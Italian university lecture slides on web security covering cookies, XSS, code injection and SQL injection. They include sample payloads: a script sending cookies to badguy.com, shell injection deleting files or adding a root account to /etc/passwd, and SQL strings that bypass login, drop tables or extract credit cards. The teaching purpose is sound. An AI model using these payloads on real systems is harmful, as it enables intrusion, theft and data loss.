Cookie (1) - Componenti



Documenti analoghi
Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin. Cookie e Sicurezza

Elementi di Sicurezza e Privatezza Lezione 15 Web Security - Code Injection (1)

Elementi di Sicurezza e Privatezza Lezione 12 Web Security

Elementi di Sicurezza e Privatezza Lezione 14 Web Security. Chiara Braghin

LA GESTIONE DELLE VISITE CLIENTI VIA WEB

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

Il linguaggio HTML - Parte 3

Esempio Cookie Policy

19. LA PROGRAMMAZIONE LATO SERVER

Procedura SMS. Manuale Utente

Impostare il browser per navigare in sicurezza Opzioni di protezione

Il linguaggio SQL. è di fatto lo standard tra i linguaggi per la gestione di data base relazionali.

Obiettivo dell esercitazione

Programmazione Web. Laboratorio 4: PHP e MySQL

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

Informativa estesa sull utilizzo dei cookie

Obiettivi d esame PHP Developer Fundamentals on MySQL Environment

TeamPortal. Servizi integrati con ambienti Gestionali

GRUPPO CAMBIELLI. Posta elettronica (Webmail) Consigli di utilizzo

GERARCHIE RICORSIVE - SQL SERVER 2008

Siti interattivi e dinamici. in poche pagine

Data Base. Master "Bio Info" Reti e Basi di Dati Lezione 6

Alfa Layer S.r.l. Via Caboto, Torino ALFA PORTAL

Università degli Studi di Messina

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

INFORMATIVA SUI COOKIE

Manuale servizio Webmail. Introduzione alle Webmail...2 Webmail classica (SquirrelMail)...3 Webmail nuova (RoundCube)...8

Esercitazione 8. Basi di dati e web

Basi di dati. Il Linguaggio SQL. K. Donno - Il Linguaggio SQL

PHP e Structured Query Language

GUIDA AL SOCIAL CARE

Lezione 6: Form 27/04/2012

Clienti. Aggiungere un cliente

Sistemi per la gestione di database: MySQL ( )

GUIDA UTENTE PRIMA NOTA SEMPLICE

Volumi di riferimento

MySQL Database Management System

GUIDA AGLI ORDIN I SU ADCOM.IT

sito web sito Internet

Esercitazione query in SQL L esercitazione viene effettuata sul database viaggi e vacanze che prevede il seguente modello E/R:

I M P O S T A R E U N A C C O U N T D I P O S T A C O N M O Z I L L A T H U N D E R B I R D

COSTRUZIONE SITO WEB da AlterVista (

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

File, Modifica, Visualizza, Strumenti, Messaggio

ESEMPI DI QUERY SQL. Esempi di Query SQL Michele Batocchi AS 2012/2013 Pagina 1 di 7

Manuale del Docente - Scienze Politiche

INFORMATIVA ESTESA SULL USO DEI COOKIE

RICICLIAMO L'USATO. ISTRUZIONE PER L'UTILIZZO DELLA BACHECA ON-LINE rev. del 11/11/2012

Cookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:

Lezione 9. Applicazioni tradizionali

Click 4 Wheels Quick Guide

Informatica Generale Andrea Corradini Sistemi di Gestione delle Basi di Dati

Guida all'uso del CMS (Content Management System, Sistema di Gestione dei Contenuti)

Indice generale. Il BACK-END...3 COME CONFIGURARE JOOMLA...4 Sito...4 Locale...5 Contenuti...5

Dexma Newsletter System

INFORMATICA. Applicazioni WEB a tre livelli con approfondimento della loro manutenzione e memorizzazione dati e del DATABASE.

Informazioni di identificazione personali

ATOLLO BACKUP GUIDA INSTALLAZIONE E CONFIGURAZIONE

monitoraggio dei locomotori via Internet

Il Protocollo HTTP e la programmazione di estensioni Web

Sistema Informativo Gestione Fidelizzazione Clienti MANUALE D USO

MANUALE PARCELLA FACILE PLUS INDICE

Manuale Amministratore bloodmanagement.it

SOSEBI PAPERMAP2 MODULO WEB MANUALE DELL UTENTE

MANUALE ESSE3 Gestione Registro delle lezioni

SQL prima parte D O C E N T E P R O F. A L B E R T O B E L U S S I. Anno accademico 2011/12

IL SISTEMA APPLICATIVO WORD

WEBALIZER GUIDA ALLA LETTURA DELLE STATISTICHE

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database

Scaletta. Estensioni UML per il Web. Applicazioni web - 2. Applicazioni web. WAE: Web Application Extension for UML. «Client page»

Utilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione

Lezione 1 Introduzione

Che cos'è un modulo? pulsanti di opzione caselle di controllo caselle di riepilogo

Guida all utilizzo a cura di Francesco Lattari. Guida all utilizzo di moodle per studenti

Cookie Policy per

Manuale LiveBox WEB ADMIN.

filrbox Guida all uso dell interfaccia WEB Pag. 1 di 44

Internet Explorer 7. Gestione cookie

Manuale operatore per l utilizzo dell utente di dominio

Client - Server. Client Web: il BROWSER

GESGOLF SMS ONLINE. Manuale per l utente

Progetto di Ingegneria del Software 2. SWIMv2

Il linguaggio SQL: query innestate

Sistema Gestionale FIPRO. Dott. Enea Belloni Ing. Andrea Montagnani

MANUALE D USO DELLA PIATTAFORMA ITCMS

Software di gestione della stampante

Guida all uso. Esso sarà riportato nell intestazione. Vediamo:

Marketing Portal. Guida all utilizzo per i concessionari. Maggio 2013

Content Management System Manuale per le aziende consorziate

Transcript:

Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection Chiara Braghin chiara.braghin@unimi.it! Cookie (1) - Componenti 4 componenti: 1) cookie nell header del messaggio HTTP response (Set-cookie) 2) cookie nell header line del messaggio (non il primo) HTTP request (Cookie) 3) file di cookie mantenuto nel disco rigido del client e gestito dal browser 4) (eventuale) database di back-end nel Web server 1 1

Cookie (2) - Utilizzi User session state w Per permettere ad un utente il login in un sito Web Memorizza username e password Shopping cart w Per mettere o togliere articoli dal carrello della spesa virtuale nei siti commerciali Memorizza costo finale ed, eventualmente, # carta di credito Per personalizzare la pagina web w Memorizza i setting preferiti Per tracciare i percorsi dell'utente (usato dalle compagnie pubblicitarie) 2 Cookie (3) - Classificazione First-party cookie: cookie con lo stesso dominio dell indirizzo presente nella barra del browser Third-party cookie (o tracking cookie): cookie con dominio diverso da quello presente nella barra del browser w Da banner pubblicitario, immagine o altra componente del file HTML, proveniente da un dominio diverso w Usati per ottenere informazioni sul navigatore, i suoi gusti le sue preferenze, per tracciarne un profilo e presentargli solo i banner pubblicitari che gli potrebbero interessare w Secondo gli RFC non dovrebbero venire permessi 3 2

Cookie (4) Tracking Cookie Esempio: w Si supponga che un utente visiti il sito www.esempio1.com, il quale contiene un oggetto (immagine o banner) proveniente dal dominio ad.tracking.com! w Vengono generati 2 cookie: uno relativo al dominio www.esempio1.com, uno relativo al dominio ad.tracking.com! w Se l utente visita il sito www.esempio2.com contenente un altro oggetto proveniente dal dominio ad.tracking.com, oppure visita direttamente il sito in quanto catturato dalla pubblicità di un certo prodotto, il browser spedisce il cookie al server del dominio ad.tracking.com w I cookie possono quindi venire utilizzati per memorizzare i siti visitati dall utente in cui un oggetto del dominio ad.tracking.com sia presente 4 Third-party cookie (1) 5 3

Third-party cookie (2) Esistono programmi per l eliminazione dei cookie in base a politiche di sicurezza definite dall utente w Lavasoft Ad-aware: riconosce i tracking cookie e li rimuove 6 Visualizzare/gestire i cookie 7 4

Lettura/scrittura di cookie a lato client (1) Creare (o sovrascrivere) un cookie in Javascript: w document.cookie = name=value; expires= ; Rimuovere un cookie: w document.cookie = name=; expires= Thu, 01-Jan-70! Leggere un cookie: w alert(document.cookie) w Stampa la stringa che contiene TUTTI i cookie disponibili per il documento 8 Lettura/scrittura di cookie a lato client (2) javascript: alert(document.cookie) Mostra tutti i cookie del documento 9 5

Cookie: possibili attacchi Cookie hijacking Packet sniffing => viene intercettato il traffico e si legge il cookie Soluzione: settare il flag Secure nell header dell HTTP request e utilizzare HTTP/S w A volte anche l uso di HTTP/S non è una garanzia Per motivi di efficienza alcuni header non cifrati! Per motivi di efficienza, solo il primo messaggio spedito tramite HTTP/S 11 6

Cookie poisoning Un utente può cambiare e cancellare i valori dei cookie!! w Editando il file dei cookie w Modificando il campo Cookie nell header del messaggio HTTP Esempio: shopping cart software w Set-cookie:shopping-cart-total = 150 ($) w L utente edita il file dei cookie in modo che venga spedito il seguente header (cookie poisoning): w Cookie: shopping-cart-total = 15 ($)! 12 12 Cattivo uso di script (1) Si consideri il link: (orginato inserendo <script> </script> in un form dove il server si aspetta venga inserita una parola da cercare) http://victim.com/search.php? term =!!!<script> window.open(!!!! http://badguy.com?cookie = +!!!!document.cookie ) </script>! Cosa succede se l utente seleziona il link? Il browser va al link victim.com/search.php Supponiamo che victim.com ritorni <HTML> Results for <script> </script> Il browser esegue lo script: Spedisce a badguy.com i cookie dell utente! 13 7

Cattivo uso di script (2) Per risolvere il problema: HTTPOnly, un nuovo flag GET! Browser HTTP Header: Set-cookie:!NAME=VALUE ;!! HttpOnly Server Web I cookie vengono spediti tramite HTTP(/S), ma non sono accessibili tramite script non possono venire letti da: document.cookie 14 Alternative ai Cookie? Per gli shopping cart, usare campi nascosti del form Sistema valido? 15 8

Campi nascosti (1) 1 Ordina 1 Pizza Web Browser (Client) 2 Web 3 Server Conferma $5.50 Sottometti ordine $5.50 Credit Card Payment Gateway Prezzo salvato in un campo nascosto del form submit_order?price=5.50 Questi valori possono venire modificati dall attaccante? 16 Campi nascosti (2) L attaccante compila i campi richiesti 17 9

Campi nascosti (3) e arriva alla schermata riepilogativa finale che deve confermare: 18 Campi nascosti (4) Della quale può vedere il sorgente: 19 10

Campi nascosti (5) Modifica il prezzo nel sorgente, fa il reload della pagina. Il browser spedisce la richiesta: GET /submit_order?price=0.01&pay=yes HTTP/ 1.1 I campi nascosti dei form sono comunque in chiaro!! 20 Campi nascosti (6) Ordina 1 pizza Web Browser (Client) Conferma $5.50 Web Server Submit ordine $0.01 Credit Card Payment Gateway Prezzo modificato dall attaccante!! 21 11

Non così raro (dati del 2000) Piattaforme che hanno subito l attacco: D3.COM Pty Ltd: ShopFactory 5.8 @Retail Corporation: @Retail Adgrafix: Check It Out Baron Consulting Group: WebSite Tool ComCity Corporation: SalesCart Crested Butte Software: EasyCart Dansie.net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store OrderPage McMurtrey/Whitaker & Associates: Cart32 3.0 pknutsen@nethut.no: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCart Web Express: Shoptron 1.2 Source: http://xforce.iss.net/xforce/xfdb/4621! 22 Riferimenti HTTP: w RFC 2616, RFC 2818 (HTTP over TLS), RFC 2617 (HTTP atthentication) Cookie: w RFC 2695 e 2109 (HTTP State Management Mechanism ) w Browser Security Handbook http://code.google.com/p/browsersec/ w Una pagina storica http://curl.haxx.se/rfc/cookie_spec.html 23 12

Web, vulnerabilità e attacchi Attacchi comuni (2006) Cross-site scripting (XSS) 22% SQL Injection 14 % PHP Include 10% Buffer overflow 8% Il 2005 è stato il primo anno in cui XSS ha superato gli attacchi di tipo buffer overflow. 25 13

Attacchi - aggiornamento (2009) http://www-935.ibm.com/services/us/iss/xforce/trendreports/ 26 Dati recenti (1) Le vulnerabilità più diffuse nelle applicazioni Web (% Vulns ALL) 27 14

Dati recenti (2) Percentuale di diffusione delle vulnerabilità delle applicazioni Web (% Vulns ALL) 28 Le 2 maggiori vulnerabilità dei siti Web SQL Injection w Il browser spedisce dell input malizioso ad un server (tramite un form) w La mancata validazione dell input porta a query SQL maliziose di TIPO 1: rilasciano informazione sensibile di TIPO 2: modificano dati critici (e sensibili) XSS Cross-site scripting w Un Web server cattivo spedisce a una vittima innocente uno script che ruba informazioni da un server Web onesto 29 15

Code Injection SQL Injection e XSS sono un esempio del più generico attacco di tipo Code (o Command) injection Input non fidato viene inserito in una query o in un istruzione w La stringa in input altera la semantica prevista dell istruzione w Es: SQL Injection - dati non verificati vengono usati per fare una query ad un database Approfitta di vulnerabilità insite nei siti Web dinamici 30 Code Injection (1) Permette all attaccante di eseguire codice arbitrario a lato server Esempio: code injection basato su eval (funzione PHP che accetta come unico argomento una stringa, che deve essere un programma PHP valido) Si supponga di avere una calcolatrice a lato server: http://site.com/calc.php $in = $_GET[ exp']; eval('$ans = '. $in. ';'); Attacco: inserire 10; system( rm *.* ), quindi URL generata http://site.com/calc.php?exp= 10; system( rm *.* ) 31! 16

Code Injection (2) Esempio basato sull uso della funzione system(): w Codice PHP per spedire email: $email = $_POST[ email ]! $subject = $_POST[ subject ]! system( mail $email s $subject < /tmp/mailbody ) w L attaccante può inserire: http://yourdomain.com/mail.php?! email=hacker@hackerhome.net &! subject=foo < /usr/passwd; ls! w Oppure: http://yourdomain.com/mail.php?! email=hacker@hackerhome.net&subject=foo;! echo evil::0:0:root:/:/bin/sh">>/etc/passwd; ls! 32 SQL Injection 17

SQL Injection Input non fidato viene inserito a lato client - in una query eseguita a lato server w La stringa in input altera la semantica prevista della query al database w Possibile nel caso in cui non vengano controllati i dati in input Approfitta di vulnerabilità insite nei siti Web dinamici 34 SQL Injection - Funzionamento di base 1 Inserire input malizioso in un form Server Vittima 2 Attaccante 3 riceve (o modifica) dati sensibili query SQL non voluta DB SQL Vittima 35 18

SQL Injection - Elementi base (1) Client-side: Form per inserire i dati 36 SQL Injection - Elementi base (1) Client-side: Form per inserire i dati 37 19

SQL Injection - Elementi base (2) Server-side: Script che recupera i dati e li utilizza (e.g., costruisce la query) Esempio (codice PHP): $username = $_POST[ username ];!!$sql = "SELECT PersonID FROM Users WHERE username='$username' ";!!$rs = $db->executequery($sql); Problema: w L input dell utente contenuto in username viene inserito direttamente in un comando SQL 38 SQL Injection - Elementi base (3) Server-side: Database su cui viene fatta la query Users PersonID username lastname name SSN 1 mrossi Rossi Mario 265432A 2 escarpa Scarpa Enzo 345679Y SELECT name, lastname, SSN FROM Users Users lastname name SSN Rossi Mario 265432A Scarpa Enzo 345679Y 39 20

SQL in a nutshell (1) Una query SQL agisce sulle tabelle definite nella base di dati e restituisce come risultato una tabella Nei casi più semplici una query SQL deve specificare: w quali sono le informazioni che interessano SELECT Attributo 1, Attributo 2, w in quali tabelle si trovano FROM Tabella 1, Tabella 2, w quali proprietà devono avere (la condizione, opzionale, è espressa sugli attributi delle tabelle specificate nella clausola FROM) WHERE Condizione 40 SQL in a nutshell (2) Il comando di base di SQL: SELECT [DISTINCT] Attributo {, Attributo} FROM Tabella [Ide] {, Tabella [Ide]} [ WHERE Condizione ] Semantica: restrizione + prodotto + proiezione Note: w la condizione è opzionale w in generale, una tabella nel linguaggio SQL non è un insieme, ma un multinsieme, a meno che non venga selezionata l opzione DISTINCT w per evitare ambiguità quando si opera sul prodotto di tabelle con gli stessi nomi dei campi, un attributo A di una tabella R ide si denota come R.A oppure ide.a 41 21

SQL in a nutshell (3) La condizione presente nella clausola WHERE è un espressione boolena costruita combinando predicati semplici con gli operatori AND, OR, NOT Alcuni predicati semplici: w Expr Confronto Expr w Expr Confronto (Sottoselect che torna un valore) w [NOT] EXISTS (Sottoselect) w Confronto: <, >, =, <>, <=, >= 42 SQL Injection (1) - Esempio Query (vulnerabile!) usata spesso per il login: SELECT * FROM Users! WHERE username = chiara'! AND passwd = '123' (Se ritorna qualcosa -i.e. l utente esiste-, allora login) Sintassi del server ASP/MS SQL: var sql = "SELECT * FROM Users! WHERE username = '" + username +! "' AND passwd = '" + passwd + "'"; 43 22

SQL Injection (2) - Esempio Web Browser (Client) inserire username e password Web Server SELECT * FROM Users! WHERE username= io' AND passwd= io23'! DB risposta Query normale 44 SQL Injection (3) - Esempio Dati inseriti dall utente:! username = ' or 1=1! passwd = ahah Query finale: SELECT * FROM Users! WHERE username = ' ' or 1=1! ' AND password = 'ahah' Effetto: w Seleziona un intera tabella invece che solo una riga! w L utente viene loggato in quanto la query ritorna qualcosa w -- commenta ciò che segue 45 23

SQL Injection (4) - Esempio Dati inseriti dall utente:! username = ' ; DROP TABLE Users! passwd = boh Query finale: SELECT * FROM users! WHERE username = ' ' ; DROP TABLE Users! ' AND password = 'boh' Effetto: w Cancella la tabella degli utenti!! w Allo stesso modo si possono aggiungere utenti, modificare le password, etc. 46 Esempio (2.1) Esempio di come ottenere le informazioni sensibili contenute nel DB: Un form per richiedere gli ordini mensili di pizza. Si inserisce il numero del mese e viene visualizzata una tabella riassuntiva. 47 24

Esempio (2.2) Query SQL SELECT pizza, toppings, quantity, date! FROM orders! WHERE userid=. $userid. AND order_month=. _GET[ month ]! Supponiamo che: month = 0 AND 1=0! UNION SELECT name, CC_num, exp_mon, exp_year! FROM creditcards! L'operatore UNION esegue l'unione insiemistica di due tabelle generate da comandi SELECT 48 Esempio (2.3) Risultato: vengono visualizzati i numeri di carta di credito dei clienti!! 49 25

Esempio (2.4) Altro attacco: SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1 La condizione è sempre vera 50 Esempio (3) - :-) Source: http://xkcd.com/327/ 51 26

Riferimenti The Web Application Security Consortium w http://projects.webappsec.org/ Web-Hacking-Incident-Database w http://projects.webappsec.org/web- Hacking-Incident-Database! w http://www.xiom.com/whid-about! The IBM X-Force Trend and Risk Report w http://www-935.ibm.com/services/us/ iss/xforce/trendreports/ 52 27